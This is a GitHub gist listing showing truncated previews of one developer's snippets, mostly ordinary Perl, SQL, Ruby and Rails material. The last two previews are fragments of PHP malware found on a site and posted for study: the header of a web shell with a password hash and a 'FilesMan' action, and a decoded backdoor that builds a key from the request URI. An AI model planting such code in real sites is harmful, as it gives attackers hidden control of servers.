Skip to content

Instantly share code, notes, and snippets.

@codesnik
codesnik / empty-maxmind-db-writer.pl
Created December 27, 2015 02:48
it creates 'empty.mmdb', empty MaxMind geoip database, good enough for your tests
#!/usr/local/bin/perl
# run 'mcpan MaxMind::DB::Writer' beforehand
use MaxMind::DB::Writer::Tree;
use Net::Works::Network;
my %types = (
#color => 'utf8_string',
#dogs => [ 'array', 'utf8_string' ],
#size => 'uint16',
drop table if exists dogs, balls, dogs_balls;
create table dogs (
id int not null,
name varchar(255),
primary key (id)
);
create table balls (
id int not null,
@codesnik
codesnik / ar_opts.rb
Created September 3, 2015 07:20
using ActiveRecord::PredicateBuilder.register_handler
module AROpts
module Helpers
def GT(val); AROpts::GT.new(val); end
def LT(val); AROpts::LT.new(val); end
def GTE(val); AROpts::GTE.new(val); end
def LTE(val); AROpts::LTE.new(val); end
end
GenericOp = Struct.new(:expression)
@codesnik
codesnik / test_exception_extending.rb
Created July 24, 2015 22:21
ruby exception extending tricks
# we can extend exception with arbitrary modules, add metadata and so on
# we can then rescue from that module!
module MyAttr
attr_accessor :my_attr
end
class MyException < StandardError
end
@codesnik
codesnik / ar_subgroup.rb
Created July 20, 2015 21:00
ActiveRecord::Relation#subgroup
# TODO make a gem, a module or whatever
class ActiveRecord::Relation
# allows nesting of results of several groupings
# with groups,
# Payment.group(:system).group(:total_currency, :service_name).sum(:total_cents)
# => {["payture_in_pay", "RUB", "payture"]=>976067825,
# ["payture_in_pay", "RUB", "payture_test_ru"]=>637500,
# ...
#
<!-- Google Code for &#1055;&#1086;&#1082;&#1091;&#1087;&#1082;&#1072; Conversion Page -->
<script type="text/javascript">
/* <![CDATA[ */
var google_conversion_id = 951335551;
var google_conversion_language = "en";
var google_conversion_format = "3";
var google_conversion_color = "ffffff";
var google_conversion_label = "7bR3CPeh8FoQ__TQxQM";
var google_remarketing_only = false;
/* ]]> */
@codesnik
codesnik / gist:e1d8e9d7d6e503ef0dbf
Created March 23, 2015 12:55
strange locale problem
Started GET "/%d0%ba%d0%be%d0%bd%d1%82%d0%b0%d0%ba%d1%82%d1%8b" for 84.253.112.91 at 2015-03-23 12:47:49 +0000
Processing by HomeController#contacts as HTML
Parameters: {"locale"=>"en"}
Domain Load (0.2ms) SELECT "domains".* FROM "domains" WHERE "domains"."name" = $1 LIMIT 1 [["name", "busfor.ru"]]
{"current_locale":"en","params_locale":"en","default":"ru"}
Rendered home/contacts.html+dotru.slim within layouts/application (11.3ms)
CACHE (0.0ms) SELECT "domains".* FROM "domains" WHERE "domains"."name" = $1 LIMIT 1 [["name", "busfor.ru"]]
Rendered layouts/_support.html.slim (6.3ms)
Rendered layouts/_navbar.html.slim (15.8ms)
Rendered layouts/_flash.html.slim (5.1ms)
../busfor/getTripSeats/getTripSeats.00.xml
[ 1 ] 5 [ 9 ] [13 ] [17 ] 21 [25 ] [29 ] [33 ] [37 ] [41 ]
[ 2 ] 6 [10 ] [14 ] [18 ] [22 ] [26 ] [30 ] [34 ] [38 ] [42 ]
[ 3 ] 7 [11 ] [15 ] [19 ] [23 ] [27 ] [31 ] [35 ] 39 [43 ]
4 8 12 [16 ] [20 ] [24 ] [28 ] [32 ] [36 ] 40 Z
../busfor/getTripSeats/getTripSeats.01.xml
1 5 9 [13 ] [17 ] [21 ] 25 29 33 37 41 45
2 6 10 [14 ] [18 ] [22 ] 26 30 34 38 42 46
@codesnik
codesnik / gist:65211080b8ae02abe4d1
Created January 8, 2015 06:42
another decyphered exploit
<?php error_reporting(0);
ini_set("display_errors",0);
$key=0;
$i=0;
foreach(str_split($_SERVER["REQUEST_URI"])as$letter){$key+=ord($letter);
$i++;
}if(!($i/10)){$i();
exit();
}$key^=$key;
$key+=32;
@codesnik
codesnik / gist:82443fc1381baadd782d
Created January 7, 2015 18:29
some obusfcated php exploit, probably
$auth_pass = "2849c39abc268e58daf4ab7497e2bfa5";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);